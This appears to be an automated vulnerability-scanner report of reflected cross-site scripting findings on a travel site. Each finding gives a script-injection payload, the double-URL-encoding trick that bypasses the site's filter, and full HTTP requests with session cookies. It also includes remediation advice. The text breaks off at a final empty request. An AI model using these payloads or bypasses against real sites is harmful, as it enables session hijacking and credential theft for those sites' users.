Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the mdpcid request parameter is copied into the HTML document as text between TITLE tags. The payload a5723%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e86dbc1fe467 was submitted in the mdpcid parameter. This input was echoed as a5723</title><script>alert(1)</script>86dbc1fe467 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of the mdpcid request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /pubspec/scripts/eap.asp?GOTO=HOTSEARCH&InDate=11/17/10&OutDate=11/18/10&NumRoom=1&NumAdult1=1&NumAdult2=0&CityName=Boston%2C+MA&mdpcid=META.kayak.Comp.Hotel.front_door_prechecked.2010campaigna5723%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e86dbc1fe467 HTTP/1.1 Host: www.expedia.com Proxy-Connection: keep-alive Referer: http://www.kayak.com/r/UO3ZOs Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: U9Z5=CT
Response
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 P3P: policyref="/w3c/p3p.xml", CP="CAO DSP IND COR ADM CONo CUR CUSi DEV PSA PSD DELi OUR COM NAV PHY ONL PUR UNI" ntCoent-Length: 3617 Content-Type: text/html Cache-Control: private Date: Sat, 13 Nov 2010 21:59:09 GMT Connection: close Vary: Accept-Encoding Set-Cookie: p1=`tpid=v.1,1`11; expires=Fri, 13-Nov-2015 00:00:01 GMT; domain=.expedia.com; path=/ Set-Cookie: MC1=GUID=405B4CF0BA994D15A764A1700BFD9849; expires=Fri, 13-Nov-2015 08:00:00 GMT; domain=.expedia.com; path=/ Set-Cookie: COOKIECHECK=1; domain=.expedia.com; path=/ Content-Length: 3617
The value of the mdpcid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4bb24%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e1d8567f9d6b was submitted in the mdpcid parameter. This input was echoed as 4bb24"><script>alert(1)</script>1d8567f9d6b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of the mdpcid request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /pubspec/scripts/eap.asp?GOTO=HOTSEARCH&InDate=11/17/10&OutDate=11/18/10&NumRoom=1&NumAdult1=1&NumAdult2=0&CityName=Boston%2C+MA&mdpcid=META.kayak.Comp.Hotel.front_door_prechecked.2010campaign4bb24%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e1d8567f9d6b HTTP/1.1 Host: www.expedia.com Proxy-Connection: keep-alive Referer: http://www.kayak.com/r/UO3ZOs Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: U9Z5=CT
Response
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 P3P: policyref="/w3c/p3p.xml", CP="CAO DSP IND COR ADM CONo CUR CUSi DEV PSA PSD DELi OUR COM NAV PHY ONL PUR UNI" ntCoent-Length: 3601 Content-Type: text/html Cache-Control: private Vary: Accept-Encoding Date: Sat, 13 Nov 2010 21:59:08 GMT Connection: close Set-Cookie: p1=`tpid=v.1,1`11; expires=Fri, 13-Nov-2015 00:00:01 GMT; domain=.expedia.com; path=/ Set-Cookie: MC1=GUID=3E31A6FDFC7940338EEAD9BAAB5B3DA1; expires=Fri, 13-Nov-2015 08:00:00 GMT; domain=.expedia.com; path=/ Set-Cookie: COOKIECHECK=1; domain=.expedia.com; path=/ Content-Length: 3601
The value of the olacid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7d6f5%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e479a287428a was submitted in the olacid parameter. This input was echoed as 7d6f5"><script>alert(1)</script>479a287428a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of the olacid request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /pubspec/scripts/eap.asp?GOTO=HOTSEARCH&cityname=Boston,MA&indate=11-17-2010&outdate=11-18-2010&rdct=1&olacid=buttons.hw.hw.ic.hotel7d6f5%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e479a287428a HTTP/1.1 Host: www.expedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: MediaCookie=0`711,681,PDEST,BOS`711,681,PDEST,LAX; s1=`ffst=v.1,0`user=v.8,0,EX014E7C51E7$DA$22202000$D4$8B$CA6$32i$A00$32i$A00$32i$A001000$31000$1E310$2302!50$CBf$81$C19$F2$0D$C7$82$AB$89$FB!e02000`144; COOKIECHECK=1; U9Z5=0; p1=`tpid=v.1,1`accttype=v.2,3,1,EX01C2F3E258hR$D9$0C$1DF$36$7FBKA$CA$B6oV$37a$B1$5Ew0$CB$A4cA$D8`gacct=v.1,2,215568760`linfo=v.4,|0|0|255|1|0||||||||1033|0|0||0|0|0|-1|-1`167; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; ipsnf3=v.3|US|1|618|houston; MC1=GUID=236C6364572F46E7A7BAC58E9FC28421; jscript=1; JSESSION=31392c85-22dc-499e-9ac9-26d3516457e3; iEAPID=0000,; aspp=v.1,0|META.kayak.Comp.PKG.kayak_front_door_unchecked.April2010campaign|||||||||MDP|20101213|; lsrc=v.1,11/27/2010; s_vi=[CS]v1|266F7BD785011501-60000115E0003749[CE];
Response
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 P3P: policyref="/w3c/p3p.xml", CP="CAO DSP IND COR ADM CONo CUR CUSi DEV PSA PSD DELi OUR COM NAV PHY ONL PUR UNI" Cteonnt-Length: 3502 Content-Type: text/html Cache-Control: private Date: Sat, 13 Nov 2010 22:44:56 GMT Content-Length: 3502 Connection: close
The value of the olacid request parameter is copied into the HTML document as text between TITLE tags. The payload 62cfe%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253efb750482f3f was submitted in the olacid parameter. This input was echoed as 62cfe</title><script>alert(1)</script>fb750482f3f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of the olacid request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /pubspec/scripts/eap.asp?GOTO=HOTSEARCH&cityname=Boston,MA&indate=11-17-2010&outdate=11-18-2010&rdct=1&olacid=buttons.hw.hw.ic.hotel62cfe%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253efb750482f3f HTTP/1.1 Host: www.expedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: MediaCookie=0`711,681,PDEST,BOS`711,681,PDEST,LAX; s1=`ffst=v.1,0`user=v.8,0,EX014E7C51E7$DA$22202000$D4$8B$CA6$32i$A00$32i$A00$32i$A001000$31000$1E310$2302!50$CBf$81$C19$F2$0D$C7$82$AB$89$FB!e02000`144; COOKIECHECK=1; U9Z5=0; p1=`tpid=v.1,1`accttype=v.2,3,1,EX01C2F3E258hR$D9$0C$1DF$36$7FBKA$CA$B6oV$37a$B1$5Ew0$CB$A4cA$D8`gacct=v.1,2,215568760`linfo=v.4,|0|0|255|1|0||||||||1033|0|0||0|0|0|-1|-1`167; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; ipsnf3=v.3|US|1|618|houston; MC1=GUID=236C6364572F46E7A7BAC58E9FC28421; jscript=1; JSESSION=31392c85-22dc-499e-9ac9-26d3516457e3; iEAPID=0000,; aspp=v.1,0|META.kayak.Comp.PKG.kayak_front_door_unchecked.April2010campaign|||||||||MDP|20101213|; lsrc=v.1,11/27/2010; s_vi=[CS]v1|266F7BD785011501-60000115E0003749[CE];
Response
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 P3P: policyref="/w3c/p3p.xml", CP="CAO DSP IND COR ADM CONo CUR CUSi DEV PSA PSD DELi OUR COM NAV PHY ONL PUR UNI" Cteonnt-Length: 3518 Content-Type: text/html Cache-Control: private Date: Sat, 13 Nov 2010 22:44:57 GMT Content-Length: 3518 Connection: close
The value of the MC1 cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9656e"><script>alert(1)</script>93e8896f896 was submitted in the MC1 cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET / HTTP/1.1 Host: www.expedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: MediaCookie=0`711,681,PDEST,BOS`711,681,PDEST,LAX; s1=`ffst=v.1,0`user=v.8,0,EX014E7C51E7$DA$22202000$D4$8B$CA6$32i$A00$32i$A00$32i$A001000$31000$1E310$2302!50$CBf$81$C19$F2$0D$C7$82$AB$89$FB!e02000`144; COOKIECHECK=1; U9Z5=0; p1=`tpid=v.1,1`accttype=v.2,3,1,EX01C2F3E258hR$D9$0C$1DF$36$7FBKA$CA$B6oV$37a$B1$5Ew0$CB$A4cA$D8`gacct=v.1,2,215568760`linfo=v.4,|0|0|255|1|0||||||||1033|0|0||0|0|0|-1|-1`167; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; ipsnf3=v.3|US|1|618|houston; MC1=9656e"><script>alert(1)</script>93e8896f896; jscript=1; JSESSION=31392c85-22dc-499e-9ac9-26d3516457e3; iEAPID=0000,; aspp=v.1,0|META.kayak.Comp.PKG.kayak_front_door_unchecked.April2010campaign|||||||||MDP|20101213|; lsrc=v.1,11/27/2010; s_vi=[CS]v1|266F7BD785011501-60000115E0003749[CE];
Response
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 P3P: policyref="/w3c/p3p.xml", CP="CAO DSP IND COR ADM CONo CUR CUSi DEV PSA PSD DELi OUR COM NAV PHY ONL PUR UNI" Cteonnt-Length: 65530 Content-Type: text/html; Charset=iso-8859-1 Cache-Control: private Date: Sat, 13 Nov 2010 21:14:56 GMT Connection: close Connection: Transfer-Encoding Content-Length: 65530
The value of the iEAPID cookie is copied into an HTML comment. The payload b0370--><script>alert(1)</script>f459e43bcb7 was submitted in the iEAPID cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET / HTTP/1.1 Host: www.expedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: MediaCookie=0`711,681,PDEST,BOS`711,681,PDEST,LAX; s1=`ffst=v.1,0`user=v.8,0,EX014E7C51E7$DA$22202000$D4$8B$CA6$32i$A00$32i$A00$32i$A001000$31000$1E310$2302!50$CBf$81$C19$F2$0D$C7$82$AB$89$FB!e02000`144; COOKIECHECK=1; U9Z5=0; p1=`tpid=v.1,1`accttype=v.2,3,1,EX01C2F3E258hR$D9$0C$1DF$36$7FBKA$CA$B6oV$37a$B1$5Ew0$CB$A4cA$D8`gacct=v.1,2,215568760`linfo=v.4,|0|0|255|1|0||||||||1033|0|0||0|0|0|-1|-1`167; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; ipsnf3=v.3|US|1|618|houston; MC1=GUID=236C6364572F46E7A7BAC58E9FC28421; jscript=1; JSESSION=31392c85-22dc-499e-9ac9-26d3516457e3; iEAPID=b0370--><script>alert(1)</script>f459e43bcb7; aspp=v.1,0|META.kayak.Comp.PKG.kayak_front_door_unchecked.April2010campaign|||||||||MDP|20101213|; lsrc=v.1,11/27/2010; s_vi=[CS]v1|266F7BD785011501-60000115E0003749[CE];
Response
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 P3P: policyref="/w3c/p3p.xml", CP="CAO DSP IND COR ADM CONo CUR CUSi DEV PSA PSD DELi OUR COM NAV PHY ONL PUR UNI" Cteonnt-Length: 66096 Content-Type: text/html; Charset=iso-8859-1 Cache-Control: private Date: Sat, 13 Nov 2010 21:15:03 GMT Connection: close Connection: Transfer-Encoding Content-Length: 66096
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <COMMENT TITLE="MO ...[SNIP]... <!-- html.cms/TPID=1&PLACEMENT=WALLPAPER&LOCATION=HOME&SUBLOCATION=SEARCH&LANGID=1033&NUMCHILDREN=0|0|0|0|0|0|0|0&IPGEO=618.HOUSTON&EAPID=b0370--><script>alert(1)</script>f459e43bcb7 --> ...[SNIP]...
The value of the iEAPID cookie is copied into an HTML comment. The payload f5db7--><script>alert(1)</script>535a656c68 was submitted in the iEAPID cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /daily/activities/default.asp HTTP/1.1 Host: www.expedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: MediaCookie=0`711,681,PDEST,BOS`711,681,PDEST,LAX; s1=`ffst=v.1,0`user=v.8,0,EX014E7C51E7$DA$22202000$D4$8B$CA6$32i$A00$32i$A00$32i$A001000$31000$1E310$2302!50$CBf$81$C19$F2$0D$C7$82$AB$89$FB!e02000`144; COOKIECHECK=1; U9Z5=0; p1=`tpid=v.1,1`accttype=v.2,3,1,EX01C2F3E258hR$D9$0C$1DF$36$7FBKA$CA$B6oV$37a$B1$5Ew0$CB$A4cA$D8`gacct=v.1,2,215568760`linfo=v.4,|0|0|255|1|0||||||||1033|0|0||0|0|0|-1|-1`167; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; ipsnf3=v.3|US|1|618|houston; MC1=GUID=236C6364572F46E7A7BAC58E9FC28421; jscript=1; JSESSION=31392c85-22dc-499e-9ac9-26d3516457e3; iEAPID=f5db7--><script>alert(1)</script>535a656c68; aspp=v.1,0|META.kayak.Comp.PKG.kayak_front_door_unchecked.April2010campaign|||||||||MDP|20101213|; lsrc=v.1,11/27/2010; s_vi=[CS]v1|266F7BD785011501-60000115E0003749[CE];
Response
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 P3P: policyref="/w3c/p3p.xml", CP="CAO DSP IND COR ADM CONo CUR CUSi DEV PSA PSD DELi OUR COM NAV PHY ONL PUR UNI" Cteonnt-Length: 63868 Content-Type: text/html; Charset=iso-8859-1 Cache-Control: private Date: Sat, 13 Nov 2010 22:46:18 GMT Connection: close Connection: Transfer-Encoding Content-Length: 63868
<!--::422937::-->
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head ...[SNIP]... <!-- html.cms/TPID=1&PLACEMENT=CCOLMID&LOCATION=TSHOPS&SUBLOCATION=SEARCH&LANGID=1033&NUMCHILDREN=0|0|0|0|0|0|0|0&IPGEO=618.HOUSTON&EAPID=f5db7--><script>alert(1)</script>535a656c68 --> ...[SNIP]...
The value of the iEAPID cookie is copied into an HTML comment. The payload af510--><script>alert(1)</script>523d9f59a36 was submitted in the iEAPID cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /daily/business/default.asp HTTP/1.1 Host: www.expedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: MediaCookie=0`711,681,PDEST,BOS`711,681,PDEST,LAX; s1=`ffst=v.1,0`user=v.8,0,EX014E7C51E7$DA$22202000$D4$8B$CA6$32i$A00$32i$A00$32i$A001000$31000$1E310$2302!50$CBf$81$C19$F2$0D$C7$82$AB$89$FB!e02000`144; COOKIECHECK=1; U9Z5=0; p1=`tpid=v.1,1`accttype=v.2,3,1,EX01C2F3E258hR$D9$0C$1DF$36$7FBKA$CA$B6oV$37a$B1$5Ew0$CB$A4cA$D8`gacct=v.1,2,215568760`linfo=v.4,|0|0|255|1|0||||||||1033|0|0||0|0|0|-1|-1`167; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; ipsnf3=v.3|US|1|618|houston; MC1=GUID=236C6364572F46E7A7BAC58E9FC28421; jscript=1; JSESSION=31392c85-22dc-499e-9ac9-26d3516457e3; iEAPID=af510--><script>alert(1)</script>523d9f59a36; aspp=v.1,0|META.kayak.Comp.PKG.kayak_front_door_unchecked.April2010campaign|||||||||MDP|20101213|; lsrc=v.1,11/27/2010; s_vi=[CS]v1|266F7BD785011501-60000115E0003749[CE];
Response
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 P3P: policyref="/w3c/p3p.xml", CP="CAO DSP IND COR ADM CONo CUR CUSi DEV PSA PSD DELi OUR COM NAV PHY ONL PUR UNI" Cteonnt-Length: 96960 Content-Type: text/html; Charset=iso-8859-1 Cache-Control: private Date: Sat, 13 Nov 2010 22:46:20 GMT Connection: close Connection: Transfer-Encoding Content-Length: 96960
<!--::579271::-->
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head ...[SNIP]... <!-- html.cms/TPID=1&PLACEMENT=ACOL1&LOCATION=BUSINESS&SUBLOCATION=SEARCH&LANGID=1033&IPGEO=618.HOUSTON&EAPID=af510--><script>alert(1)</script>523d9f59a36 --> ...[SNIP]...
The value of the iEAPID cookie is copied into an HTML comment. The payload 846e8--><script>alert(1)</script>56693d5fa1f was submitted in the iEAPID cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /daily/cars/default.asp HTTP/1.1 Host: www.expedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: MediaCookie=0`711,681,PDEST,BOS`711,681,PDEST,LAX; s1=`ffst=v.1,0`user=v.8,0,EX014E7C51E7$DA$22202000$D4$8B$CA6$32i$A00$32i$A00$32i$A001000$31000$1E310$2302!50$CBf$81$C19$F2$0D$C7$82$AB$89$FB!e02000`144; COOKIECHECK=1; U9Z5=0; p1=`tpid=v.1,1`accttype=v.2,3,1,EX01C2F3E258hR$D9$0C$1DF$36$7FBKA$CA$B6oV$37a$B1$5Ew0$CB$A4cA$D8`gacct=v.1,2,215568760`linfo=v.4,|0|0|255|1|0||||||||1033|0|0||0|0|0|-1|-1`167; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; ipsnf3=v.3|US|1|618|houston; MC1=GUID=236C6364572F46E7A7BAC58E9FC28421; jscript=1; JSESSION=31392c85-22dc-499e-9ac9-26d3516457e3; iEAPID=846e8--><script>alert(1)</script>56693d5fa1f; aspp=v.1,0|META.kayak.Comp.PKG.kayak_front_door_unchecked.April2010campaign|||||||||MDP|20101213|; lsrc=v.1,11/27/2010; s_vi=[CS]v1|266F7BD785011501-60000115E0003749[CE];
Response
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 P3P: policyref="/w3c/p3p.xml", CP="CAO DSP IND COR ADM CONo CUR CUSi DEV PSA PSD DELi OUR COM NAV PHY ONL PUR UNI" Cteonnt-Length: 52349 Content-Type: text/html; Charset=iso-8859-1 Cache-Control: private Date: Sat, 13 Nov 2010 22:46:16 GMT Connection: close Connection: Transfer-Encoding Content-Length: 52349
<!--::383603::-->
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head ...[SNIP]... <!-- html.cms/TPID=1&PLACEMENT=CCOLMID&LOCATION=CARS&SUBLOCATION=SEARCH&LANGID=1033&NUMCHILDREN=0|0|0|0|0|0|0|0&IPGEO=618.HOUSTON&EAPID=846e8--><script>alert(1)</script>56693d5fa1f --> ...[SNIP]...
The value of the iEAPID cookie is copied into an HTML comment. The payload 79001--><script>alert(1)</script>e786707809f was submitted in the iEAPID cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /daily/deals/default.asp HTTP/1.1 Host: www.expedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: MediaCookie=0`711,681,PDEST,BOS`711,681,PDEST,LAX; s1=`ffst=v.1,0`user=v.8,0,EX014E7C51E7$DA$22202000$D4$8B$CA6$32i$A00$32i$A00$32i$A001000$31000$1E310$2302!50$CBf$81$C19$F2$0D$C7$82$AB$89$FB!e02000`144; COOKIECHECK=1; U9Z5=0; p1=`tpid=v.1,1`accttype=v.2,3,1,EX01C2F3E258hR$D9$0C$1DF$36$7FBKA$CA$B6oV$37a$B1$5Ew0$CB$A4cA$D8`gacct=v.1,2,215568760`linfo=v.4,|0|0|255|1|0||||||||1033|0|0||0|0|0|-1|-1`167; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; ipsnf3=v.3|US|1|618|houston; MC1=GUID=236C6364572F46E7A7BAC58E9FC28421; jscript=1; JSESSION=31392c85-22dc-499e-9ac9-26d3516457e3; iEAPID=79001--><script>alert(1)</script>e786707809f; aspp=v.1,0|META.kayak.Comp.PKG.kayak_front_door_unchecked.April2010campaign|||||||||MDP|20101213|; lsrc=v.1,11/27/2010; s_vi=[CS]v1|266F7BD785011501-60000115E0003749[CE];
Response
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 P3P: policyref="/w3c/p3p.xml", CP="CAO DSP IND COR ADM CONo CUR CUSi DEV PSA PSD DELi OUR COM NAV PHY ONL PUR UNI" Cteonnt-Length: 99199 Content-Type: text/html; Charset=iso-8859-1 Cache-Control: private Date: Sat, 13 Nov 2010 22:46:42 GMT Connection: close Connection: Transfer-Encoding Content-Length: 99199
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"><!-- InstanceBegin template="../ ...[SNIP]... <!-- html.cms/TPID=1&PLACEMENT=BCOL1&LOCATION=HOTDEALS&SUBLOCATION=SEARCH&LANGID=1033&NUMCHILDREN=0|0|0|0|0|0|0|0&IPGEO=618.HOUSTON&EAPID=79001--><script>alert(1)</script>e786707809f --> ...[SNIP]...
The value of the iEAPID cookie is copied into an HTML comment. The payload f0c09--><script>alert(1)</script>9db190cd219 was submitted in the iEAPID cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
